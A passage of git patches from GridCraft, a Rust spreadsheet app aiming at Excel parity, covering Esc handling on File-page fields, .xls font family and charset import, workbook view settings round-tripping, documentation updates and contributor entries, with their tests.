json!({})).unwrap(); + let second = h.state().session.active_window().unwrap(); + h.state_mut().run("selection.set", json!({"cell": "D10"})).unwrap(); + h.state_mut().run("window.activate", json!({"window": first})).unwrap(); + h.run_steps(2); + let tab_center = h + .output() + .shapes + .iter() + .find_map(|s| match &s.shape { + Shape::Text(t) if t.galley.job.text == "Table Design" => Some(t.pos + t.galley.size() / 2.0), + _ => None, + }) + .expect("the Table Design tab is painted while a cell is in the table"); + for pressed in [true, false] { + h.input_mut().events.push(Event::PointerButton { + pos: tab_center, + button: PointerButton::Primary, + pressed, + modifiers: egui::Modifiers::NONE, + }); + h.run_steps(1); + } + h.run_steps(2); + assert_eq!(h.state().ui.ribbon_tab, "Table Design"); + // DocWindows draws every window each frame. The second window's cell is outside the table, + // so its frame falls back to Home; the first window's Table Design tab must survive it. + h.state_mut().show_window(second); + h.run_steps(2); + assert_eq!(h.state().ui.ribbon_tab, "Home", "the second window shows Home for its own selection"); + h.state_mut().enter_window(first); + h.run_steps(2); + assert_eq!(h.state().session.active_window(), Some(first)); + assert_eq!(h.state().ui.ribbon_tab, "Table Design", "the first window's tab survives the second window's frame"); + let d = h.state().session.active().unwrap(); + assert_eq!(d.selection.active.a1(), "A2", "the first window still selects a cell in the table"); + assert!(d.wb.active().unwrap().table_at(d.selection.active).is_some(), "the table is still there"); +} From f2bef898e87ce23279b318197fb8640565320d48 Mon Sep 17 00:00:00 2001 From: Zarvinx Date: Sat, 31 Oct 2026 18:09:27 +0100 Subject: [PATCH 141/298] #3035: let Esc leave File-page fields before closing --- ROADMAP.md | 4 +- crates/ui-egui/src/backstage.rs | 6 ++- crates/ui-egui/tests/it/file_menu.rs | 66 ++++++++++++++++++++++++++++ docs/ui-parity.md | 5 ++- 4 files changed, 77 insertions(+), 4 deletions(-) diff --git a/ROADMAP.md b/ROADMAP.md index 40652c341..064de8093 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (Esc leaves a File-page text field before closing the view; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-31 | Esc in File › Info, Print or Options first leaves the text field; the next Esc returns to the sheet (#3035) | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | | 2026-10-24 | Go To lists the named ranges of every sheet (`Sheet2!Name` for a name scoped to another sheet; hidden names, constants and formulas left out) and the references entered before, a double-click goes to an entry, and the Reference box takes several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) | @@ -244,6 +245,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | File-page text fields keep the view open when Esc cancels an edit (#3035) | | 2026-10-25 | minor | Progress log: AutoSum over a selected row, and a selection's empty last row and column | | 2026-10-24 | minor | Macro interface on the Automate tab; progress log row | | 2026-10-24 | minor | Macro engine and `macro.*` commands; catalog 275 / 291 → 276 / 292 (View › Macros › Record Macro); progress log row | diff --git a/crates/ui-egui/src/backstage.rs b/crates/ui-egui/src/backstage.rs index 6310dd6a0..194533d36 100644 --- a/crates/ui-egui/src/backstage.rs +++ b/crates/ui-egui/src/backstage.rs @@ -114,6 +114,8 @@ pub struct Backstage { pub page: Page, /// Info: property drafts while a field is being edited (committed when it loses focus). props: [String; 6], + /// Focus at the end of the previous frame, before egui clears it on Esc. + text_edit_focused: bool, /// Print: the whole workbook rather than the active sheet. pub print_all: bool, /// Print: fit each sheet on one page. @@ -138,6 +140,7 @@ impl Backstage { Backstage { page, props: Default::default(), + text_edit_focused: false, print_all: false, fit_to_page: false, preview_page: 0, @@ -160,7 +163,7 @@ pub fn show(app: &mut SheetApp, ui: &mut Ui) { let Some(mut bs) = app.backstage.take() else { return }; let ctx = ui.ctx().clone(); // Esc inside a text field leaves the field; it closes the view only from outside one. - let typing = ctx.text_edit_focused(); + let typing = bs.text_edit_focused; let t = Tokens::get(&ctx); let lang = app.ui.language; let mut out = Outcome::default(); @@ -229,6 +232,7 @@ pub fn show(app: &mut SheetApp, ui: &mut Ui) { }); }); }); + bs.text_edit_focused = ctx.text_edit_focused(); if !typing && app.dialog.is_none() && app.message.is_none() diff --git a/crates/ui-egui/tests/it/file_menu.rs b/crates/ui-egui/tests/it/file_menu.rs index fb0779631..406ef6742 100644 --- a/crates/ui-egui/tests/it/file_menu.rs +++ b/crates/ui-egui/tests/it/file_menu.rs @@ -62,6 +62,72 @@ fn new_and_open_from_the_file_tab_keep_the_ribbon_as_it_was() { assert!(h.state().ui.ribbon_collapsed); } +/// Esc first cancels the focused File-page field, then closes File on the next press. +#[test] +fn escape_leaves_file_fields_before_closing_the_view() { + use egui::accesskit::Role; + + for (page_id, label) in [ + ("info", "Title"), + ("info", "Subject"), + ("info", "Author"), + ("info", "Company"), + ("info", "Keywords"), + ("info", "Description"), + ("options", "Maximum Iterations:"), + ("options", "Maximum Change:"), + ("print", "Copies"), + ] { + let services = Services { + printers: Some(Box::new(|| { + let (tx, rx) = std::sync::mpsc::channel(); + tx.send(Vec::new()).unwrap(); + rx + })), + ..Default::default() + }; + let mut session = Session::new(); + session.new_workbook(); + let mut h = crate::common::harness_with( + crate::common::builder().with_size(egui::vec2(1200.0, 1400.0)), + crate::common::prepare(SheetApp::new(session, services)), + 4, + ); + h.state_mut().run("formulas.calculationOptions", serde_json::json!({"iterative": true})).unwrap(); + h.state_mut().run("ui.backstage", serde_json::json!({"page": page_id})).unwrap(); + h.run_steps(3); + let role = if page_id == "print" { Role::SpinButton } else { Role::TextInput }; + h.get_by_role_and_label(role, label).click(); + h.run_steps(2); + assert!(h.ctx.text_edit_focused(), "{label} has the caret"); + let original = h.get_by_role_and_label(role, label).value(); + let revision = h.state().session.active().unwrap().revision; + h.key_press_modifiers(egui::Modifiers::COMMAND, egui::Key::A); + h.run_steps(1); + h.input_mut().events.push(egui::Event::Text("7".into())); + h.run_steps(2); + if page_id != "print" { + assert_eq!(h.get_by_role_and_label(Role::TextInput, label).value().as_deref(), Some("7")); + } + let copies = h.state().printing.settings.copies; + + h.key_press(egui::Key::Escape); + h.run_steps(3); + assert_eq!(page(&h), Some(page_id), "Esc in {label} keeps File open"); + assert!(!h.ctx.text_edit_focused(), "Esc leaves {label}"); + assert_eq!(h.state().session.active().unwrap().revision, revision, "Esc does not commit {label}"); + if page_id == "print" { + assert_eq!(h.state().printing.settings.copies, copies, "leaving Copies preserves its existing live value"); + } else { + assert_eq!(h.get_by_role_and_label(Role::TextInput, label).value(), original, "Esc discards the {label} draft"); + } + + h.key_press(egui::Key::Escape); + h.run_steps(3); + assert_eq!(page(&h), None, "the next Esc returns to the sheet"); + } +} + #[test] fn save_actions_include_the_cell_draft_and_close_keeps_the_unsaved_prompt() { let downloads = Arc::new(Mutex::new(Vec::<(String, Vec)>::new())); diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 0e1a98f47..94ce53217 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-30 · **Change:** minor (checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -31,7 +31,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Task panes (Format Chart, Comments, Watch, Selection, PivotTable fields) | yes | yes; PivotTable source-field list scrollbar sits at the right edge of its pane | element-level Format pane for shapes and pictures missing | | Backstage (File) view: Info, New with templates, Open recent, Export, Options | yes | partial | template gallery missing | | Dark mode, system appearance | yes | yes | done (10-09); follows the system on first run, title-bar switch and File › Display theme (#194, #239); icons, reference colours, primary buttons and the comments pane follow the theme, and a unit test holds every token pair to WCAG 2 contrast in both themes | -| Backstage (File) view: Info, New with templates, Open recent, Export, Options | yes | yes (#174, 10-11): the File tab opens a full-window view (Esc or the back arrow return) with Home, New (blank + the three samples), Open (recent + Browse; the recent list tells when each workbook was last changed, 10-12), Info (location, properties, Protect Workbook), Save, Save As, Print (page preview, active sheet or workbook, fit to page, Page Setup), Export (PDF, CSV, web page), Close and Options (`file.options`: theme, language, formula bar, AutoSave, calculation mode and iterative calculation with Maximum Iterations and Maximum Change, 10-15) | no Account, Share or template gallery beyond the samples; Options applies at once (no OK/Cancel dialog) and holds only the settings GridCraft has | +| Backstage (File) view: Info, New with templates, Open recent, Export, Options | yes | yes (#174, 10-11): the File tab opens a full-window view (Esc or the back arrow return; Esc in a text field first cancels editing and leaves the field, #3035) with Home, New (blank + the three samples), Open (recent + Browse; the recent list tells when each workbook was last changed, 10-12), Info (location, properties, Protect Workbook), Save, Save As, Print (page preview, active sheet or workbook, fit to page, Page Setup), Export (PDF, CSV, web page), Close and Options (`file.options`: theme, language, formula bar, AutoSave, calculation mode and iterative calculation with Maximum Iterations and Maximum Change, 10-15) | no Account, Share or template gallery beyond the samples; Options applies at once (no OK/Cancel dialog) and holds only the settings GridCraft has | | Dark mode, system appearance | yes | yes | done (10-09) | | Page Layout view (paper view with rulers and header editing) | yes | yes (#329, 10-11): per-sheet view saved in XLSX, pages with margins and gaps on the print pagination, "Click to add data" pages, rulers (inches or centimetres), headers and footers drawn and edited in place with a Header & Footer tab, whose Different First Page and Different Odd & Even Pages give the first page and the even pages their own header and footer (#344), and whose Scale with Document and Align with Page Margins set whether header and footer text follows the print scale and the side margins, on paper and in the view | margins drag on the rulers (#792, with header and footer margins); header/footer pictures missing (1–3 h). Unverified: with Align with Page Margins off, header and footer text sits 0.7 in from the paper edge, a value not yet measured in the target app | | Multiple windows per workbook | yes | yes (10-22, desktop): each workbook window is a native window of its own (New, Open and New Window open one; titles "Book1", or "Book1:1" / "Book1:2" for a workbook's second window, with " — Edited" while unsaved). Each window keeps its own cell draft, dialog, Backstage view, message and grid state, and its ribbon acts on it; on macOS the menu bar acts on the window focused last. Leaving a window enters its draft as Enter would. A window's close button closes that window: one of several on a workbook closes without asking, a workbook's last asks Save / Don't Save / Cancel when unsaved. Quit asks about each unsaved workbook in its window, and Cancel stops it. The last window closed quits on Windows and Linux; macOS keeps running with the menu bar until New or Open. View › Arrange All (dialog: Tiled, Horizontal, Vertical, Cascade, Windows of active workbook; `view.arrangeAll` tiles by default) lays the visible windows out over the main window's monitor, the active one first. Web: one window | Arrange All uses one monitor; a hidden window (View › Hide) has no native window; every window repaints when one does; see [hardware-parity.md](hardware-parity.md) | @@ -194,6 +194,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Esc in a File-page text field leaves the field and cancels editing; the next Esc returns to the sheet (#3035) | | 2026-10-30 | minor | Checkbox cells print and export to PDF as boxes, as on screen: unchecked white with a grey outline, checked green with a white tick (#2972). They printed their value as TRUE or FALSE; other values in a checkbox cell still print as text | | 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | | 2026-10-29 | minor | Insert Hyperlink opens with an existing link's address, display text and ScreenTip (#2876). An address-only edit preserves the cell's content and formula; Cancel leaves the link unchanged, and Undo restores the edit | From 9654c2030a80a70fa3050928a18021fd21a716c5 Mon Sep 17 00:00:00 2001 From: Zarvinx Date: Sat, 31 Oct 2026 18:21:13 +0100 Subject: [PATCH 142/298] #3035: assert Copies updates before Escape --- crates/ui-egui/tests/it/file_menu.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/tests/it/file_menu.rs b/crates/ui-egui/tests/it/file_menu.rs index 406ef6742..7cc455fa7 100644 --- a/crates/ui-egui/tests/it/file_menu.rs +++ b/crates/ui-egui/tests/it/file_menu.rs @@ -106,7 +106,9 @@ fn escape_leaves_file_fields_before_closing_the_view() { h.run_steps(1); h.input_mut().events.push(egui::Event::Text("7".into())); h.run_steps(2); - if page_id != "print" { + if page_id == "print" { + assert_eq!(h.state().printing.settings.copies, 7, "Copies applies the entered value while editing"); + } else { assert_eq!(h.get_by_role_and_label(Role::TextInput, label).value().as_deref(), Some("7")); } let copies = h.state().printing.settings.copies; From f2a75eca1b5ae8bef66e9fbbf8ec27bb287aef3f Mon Sep 17 00:00:00 2001 From: Daniel Lubryka Date: Sat, 31 Oct 2026 18:47:15 +0100 Subject: [PATCH 143/298] M2.1: keep BIFF8 font family and charset when importing .xls fonts Co-Authored-By: Claude Sonnet 5.5 --- crates/xlsx/src/xls/styles.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/xls/styles.rs b/crates/xlsx/src/xls/styles.rs index 8bd4ca9f8..007849753 100644 --- a/crates/xlsx/src/xls/styles.rs +++ b/crates/xlsx/src/xls/styles.rs @@ -183,7 +183,9 @@ fn read_font(c: &mut Cursor<'_, '_>) -> Option<(Font, u16)> { let weight = c.u16().ok()?; let script = c.u16().ok()?; let underline = c.u8().ok()?; - c.skip(3).ok()?; // family, character set, unused + let family = c.u8().ok()?; + let charset = c.u8().ok()?; + c.skip(1).ok()?; // reserved let name = c.short_string().ok()?; let mut f = Font::default(); let name: String = name.chars().filter(|ch| *ch != '\0').take(255).collect(); @@ -209,6 +211,8 @@ fn read_font(c: &mut Cursor<'_, '_>) -> Option<(Font, u16)> { 0x22 => Underline::DoubleAccounting, _ => Underline::None, }; + f.family = Some(family); + f.charset = Some(charset); Some((f, icv)) } From 879ea7385ff0d35ebd476be19f6a15c285f49062 Mon Sep 17 00:00:00 2001 From: Daniel Lubryka Date: Sat, 31 Oct 2026 19:01:26 +0100 Subject: [PATCH 144/298] M2.1: test that .xls fonts keep their family and charset Co-Authored-By: Claude Sonnet 5.5 --- crates/xlsx/src/tests/xls_style_tests.rs | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/crates/xlsx/src/tests/xls_style_tests.rs b/crates/xlsx/src/tests/xls_style_tests.rs index 1148208d3..344cf37ed 100644 --- a/crates/xlsx/src/tests/xls_style_tests.rs +++ b/crates/xlsx/src/tests/xls_style_tests.rs @@ -40,6 +40,14 @@ fn font(twips: u16, flags: u16, icv: u16, weight: u16, script: u16, underline: u rec(0x0031, &p) } +/// Sets the family and character-set bytes of a Font record built by `font` (after the 4-byte +/// record header, 10 bytes of fields and the underline byte). +fn with_family_charset(mut font_record: Vec, family: u8, charset: u8) -> Vec { + font_record[15] = family; + font_record[16] = charset; + font_record +} + /// The CellXF fields an XF record carries after ifnt, ifmt and the protection flags. #[derive(Clone, Copy, Default)] struct XfData { @@ -270,6 +278,18 @@ fn reads_cell_style_and_xlsx_roundtrip(wb: &Workbook) { assert_eq!(back.cell_styles.iter().map(|(n, _)| n.as_str()).collect::>(), ["Fancy"]); } +#[test] +fn font_family_and_charset_are_kept() { + let mut f = default_fonts(); + // ifnt 5: family 3 (modern) and character set 0xEE (Eastern European). + f.push(with_family_charset(font(200, 0, 0x7FFF, 400, 0, 0, "Courier New"), 3, 0xEE)); + f.push(xf(0, 0, STYLE, plain())); + f.push(xf(5, 0, CELL, plain())); + let (wb, _) = read_xls(&compound("Workbook", &workbook(&f, &[number(0, 0, 1, 1.0)]))).unwrap(); + let s = style_at(&wb, "A1"); + assert_eq!((s.font.name.as_str(), s.font.family, s.font.charset), ("Courier New", Some(3), Some(0xEE))); +} + #[test] fn without_a_palette_the_default_colours_apply() { let mut f = default_fonts(); From d25445f4e309a83c9dd9164e7dfbab3243e8d199 Mon Sep 17 00:00:00 2001 From: Daniel Lubryka Date: Sat, 31 Oct 2026 19:14:33 +0100 Subject: [PATCH 145/298] M2.1: document the .xls style helpers Co-Authored-By: Claude Sonnet 5.5 --- crates/xlsx/src/xls/styles.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/xlsx/src/xls/styles.rs b/crates/xlsx/src/xls/styles.rs index 007849753..cc7c496f2 100644 --- a/crates/xlsx/src/xls/styles.rs +++ b/crates/xlsx/src/xls/styles.rs @@ -225,6 +225,7 @@ fn color(icv: u16, table: &[u32; 64]) -> Color { } } +/// A border line style from its BIFF8 code (dgLeft and the like); unknown codes are no border. fn border_style(dg: u32) -> BorderStyle { match dg { 1 => BorderStyle::Thin, @@ -244,6 +245,7 @@ fn border_style(dg: u32) -> BorderStyle { } } +/// A fill pattern from its BIFF8 code (fls); unknown codes are no pattern. fn pattern(fls: u16) -> PatternType { match fls { 0x01 => PatternType::Solid, @@ -268,6 +270,7 @@ fn pattern(fls: u16) -> PatternType { } } +/// One border side: its style and colour; a side without a style has no colour. fn line(dg: u32, icv: u32, table: &[u32; 64]) -> BorderLine { let style = border_style(dg); if style == BorderStyle::None { @@ -288,6 +291,7 @@ fn xf_font(ifnt: u16, fonts: &[Font]) -> Font { fonts.get(i).or_else(|| fonts.first()).cloned().unwrap_or_default() } +/// The number format an XF names: a custom format, else a built-in one, else General. fn num_fmt(ifmt: u16, formats: &HashMap) -> NumFmt { let code = formats.get(&ifmt).map(String::as_str).or_else(|| builtin_format(u32::from(ifmt))).unwrap_or("General"); if code.eq_ignore_ascii_case("General") { NumFmt::default() } else { NumFmt::new(code) } From aacdec4138c37a818d58ccdb364b4bdd28987664 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 20:00:24 +0100 Subject: [PATCH 146/298] contributors: add maxm11 entry (sync GitHub name) --- contributors/people.toml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contributors/people.toml b/contributors/people.toml index 0e5b14ca4..00f6ce76a 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -106,3 +106,6 @@ sync_github_name = true [people.Plutonium-fream] sync_github_name = true + +[people.maxm11] +sync_github_name = true From 1a0693341083a946dd246d152505b69a6f5c67e8 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 20:01:45 +0100 Subject: [PATCH 147/298] contributors: add maxm11 entry (sync GitHub name) --- contributors/people.toml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contributors/people.toml b/contributors/people.toml index 0e5b14ca4..00f6ce76a 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -106,3 +106,6 @@ sync_github_name = true [people.Plutonium-fream] sync_github_name = true + +[people.maxm11] +sync_github_name = true From f2fab9e1619a0b7877465b15bd04f49ee6ebb552 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 20:01:47 +0100 Subject: [PATCH 148/298] contributors: add maxm11 entry (sync GitHub name) --- contributors/people.toml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contributors/people.toml b/contributors/people.toml index 0e5b14ca4..00f6ce76a 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -106,3 +106,6 @@ sync_github_name = true [people.Plutonium-fream] sync_github_name = true + +[people.maxm11] +sync_github_name = true From edcb626c3c124c600eb97fb4feaaa3909525ad5f Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 20:01:48 +0100 Subject: [PATCH 149/298] contributors: add maxm11 entry (sync GitHub name) --- contributors/people.toml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contributors/people.toml b/contributors/people.toml index 0e5b14ca4..00f6ce76a 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -106,3 +106,6 @@ sync_github_name = true [people.Plutonium-fream] sync_github_name = true + +[people.maxm11] +sync_github_name = true From ea3460ea19a575b4512fb54130d91c37f85e9262 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 20:01:50 +0100 Subject: [PATCH 150/298] contributors: add maxm11 entry (sync GitHub name) --- contributors/people.toml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contributors/people.toml b/contributors/people.toml index 0e5b14ca4..00f6ce76a 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -106,3 +106,6 @@ sync_github_name = true [people.Plutonium-fream] sync_github_name = true + +[people.maxm11] +sync_github_name = true From 9276827b1a12d8915950e172464814b4bf1a56cf Mon Sep 17 00:00:00 2001 From: Simon Koch-Sultan <126534658+scks1@users.noreply.github.com> Date: Sat, 31 Oct 2026 15:31:07 -0400 Subject: [PATCH 151/298] xlsx: keep the workbook view settings across an open + save (#3057) The reader took only activeTab from and the writer wrote that alone back, so a workbook Excel saved with the sheet tabs and both scroll bars hidden (and a non-default tab split) opened with all three shown and lost the settings on save. Workbook gains a view field (WorkbookView: show_sheet_tabs, show_horizontal_scroll, show_vertical_scroll, tab_ratio; the format defaults are shown/shown/shown/600). The reader fills it from the attributes; the writer emits each attribute only when it differs from the default, so an ordinary workbook file is unchanged. Regression test: workbook_view_settings_survive_a_round_trip reads a package carrying the hidden settings, checks the model, and checks the written workbook.xml keeps all four attributes (and that a default workbook still writes the bare element). Scope: this is the data-loss half of #3057. The app does not act on the settings yet and File > Options has no controls for them; that is the other half the ticket was split into. --- crates/model/src/lib.rs | 2 +- crates/model/src/workbook.rs | 45 ++++++++++++++++++++++++++++++ crates/xlsx/src/read.rs | 18 ++++++++++-- crates/xlsx/src/tests/roundtrip.rs | 34 ++++++++++++++++++++++ crates/xlsx/src/write.rs | 25 ++++++++++++++++- 5 files changed, 120 insertions(+), 4 deletions(-) diff --git a/crates/model/src/lib.rs b/crates/model/src/lib.rs index d3cbfc0db..46ca86b68 100644 --- a/crates/model/src/lib.rs +++ b/crates/model/src/lib.rs @@ -27,7 +27,7 @@ pub use style::{ Alignment, BorderLine, BorderStyle, Borders, Color, Fill, Font, HAlign, NumFmt, PatternType, Style, StyleId, StyleTable, Theme, Underline, VAlign, VertAlign, }; -pub use workbook::{CalcMode, CalcSettings, DefinedName, DocProps, PhoneticProps, PhoneticRun, PhoneticString, ShowObjects, Workbook}; +pub use workbook::{CalcMode, CalcSettings, DefinedName, DocProps, PhoneticProps, PhoneticRun, PhoneticString, ShowObjects, Workbook, WorkbookView}; /// Font used for new workbooks. Only a name: renderers substitute an available open font /// (e.g. the metric-compatible Carlito) when it isn't installed. diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 0d82ca6ff..0942f6773 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -30,6 +30,47 @@ pub enum ShowObjects { None, } +/// The workbook window's display settings from `` (Excel: File › Options › +/// Advanced, "Display options for this workbook"): whether the window shows the sheet tabs +/// and the two scroll bars, and how much of the horizontal bar the tabs take (`tabRatio`, +/// thousandths of the bar; the format's default is 600). +/// +/// The values are modelled so an open + save keeps them — a workbook Excel saved with the +/// tabs hidden must not come back with them shown and the settings gone. The app does not +/// act on them yet and there is no Options control for them; that is the other half of +/// storytold/gridcraft#3057. +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)] +pub struct WorkbookView { + #[serde(default = "yes")] + pub show_sheet_tabs: bool, + #[serde(default = "yes")] + pub show_horizontal_scroll: bool, + #[serde(default = "yes")] + pub show_vertical_scroll: bool, + #[serde(default = "default_tab_ratio")] + pub tab_ratio: u32, +} + +fn yes() -> bool { + true +} + +fn default_tab_ratio() -> u32 { + 600 +} + +impl Default for WorkbookView { + fn default() -> Self { + WorkbookView { show_sheet_tabs: true, show_horizontal_scroll: true, show_vertical_scroll: true, tab_ratio: default_tab_ratio() } + } +} + +impl WorkbookView { + fn is_default(&self) -> bool { + *self == WorkbookView::default() + } +} + /// File › Options › Formulas › Calculation options, stored per workbook (``). #[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] pub struct CalcSettings { @@ -150,6 +191,9 @@ pub struct Workbook { pub show_objects: ShowObjects, /// Read and set with [`Workbook::active_sheet`] and [`Workbook::set_active_sheet`]. pub active_sheet: ActiveSheet, + /// The workbook window's display settings (``), kept across an open + save. + #[serde(default, skip_serializing_if = "WorkbookView::is_default")] + pub view: WorkbookView, pub props: DocProps, /// Workbook structure protection. pub protected_structure: bool, @@ -284,6 +328,7 @@ impl Workbook { calc: CalcSettings::default(), show_objects: ShowObjects::All, active_sheet: ActiveSheet::default(), + view: WorkbookView::default(), props: DocProps::default(), protected_structure: false, structure_password: None, diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 8b118ecdb..1d5066ae9 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -3,7 +3,9 @@ use std::sync::Arc; use gridcraft_core::{DateSystem, RangeRef}; -use gridcraft_model::{CalcMode, CellPicture, DefinedName, PhoneticString, Sheet, ShowObjects, Style, StyleId, StyleTable, Visibility, Workbook}; +use gridcraft_model::{ + CalcMode, CellPicture, DefinedName, PhoneticString, Sheet, ShowObjects, Style, StyleId, StyleTable, Visibility, Workbook, WorkbookView, +}; use crate::package::{Package, Rel}; use crate::styles::{StylesIn, read_styles}; @@ -268,7 +270,19 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { } read_workbook_properties(&mut cx, &mut wb, &wb_xml); - let active_tab = wb_xml.path(&["bookViews", "workbookView"]).and_then(|v| v.attr_u32("activeTab")).unwrap_or(0) as usize; + let view_el = wb_xml.path(&["bookViews", "workbookView"]); + let active_tab = view_el.and_then(|v| v.attr_u32("activeTab")).unwrap_or(0) as usize; + if let Some(v) = view_el { + // The window's display settings (Excel's "Display options for this workbook"). + // Absent attributes take the format's defaults, which is also what a workbook + // without a gets. + wb.view = WorkbookView { + show_sheet_tabs: v.flag("showSheetTabs", true), + show_horizontal_scroll: v.flag("showHorizontalScroll", true), + show_vertical_scroll: v.flag("showVerticalScroll", true), + tab_ratio: v.attr_u32("tabRatio").unwrap_or(600), + }; + } // Sheets. `file_to_model[i]` maps the i-th to a model sheet index. let mut file_to_model: Vec> = vec![]; diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 2298e513f..0cfc17ad3 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -1499,3 +1499,37 @@ fn a_partial_sheet_filter_is_not_folded_into_a_table() { assert!(t.filter.is_empty(), "the criteria landed on the wrong table column: {:?}", t.filter); assert!(b.autofilter.is_none(), "a sheet filter inside a table would be invalid"); } + +#[test] +fn workbook_view_settings_survive_a_round_trip() { + // #3057: a workbook Excel saved with the sheet tabs and both scroll bars hidden + // (and a non-default tab split) must open with those settings in the model and + // save with them still in the file. + let bytes = super::minimal( + "", + &[], + "", + "", + ); + let (wb, _) = read_xlsx(&bytes).unwrap(); + assert_eq!( + wb.view, + WorkbookView { show_sheet_tabs: false, show_horizontal_scroll: false, show_vertical_scroll: false, tab_ratio: 250 }, + "the reader takes the view settings from " + ); + + let out = write_xlsx(&wb).unwrap(); + let mut z = zip::ZipArchive::new(std::io::Cursor::new(out)).unwrap(); + let mut xml = String::new(); + z.by_name("xl/workbook.xml").unwrap().read_to_string(&mut xml).unwrap(); + for attr in ["showSheetTabs=\"0\"", "showHorizontalScroll=\"0\"", "showVerticalScroll=\"0\"", "tabRatio=\"250\""] { + assert!(xml.contains(attr), "the writer keeps {attr} in {xml}"); + } + + // A workbook 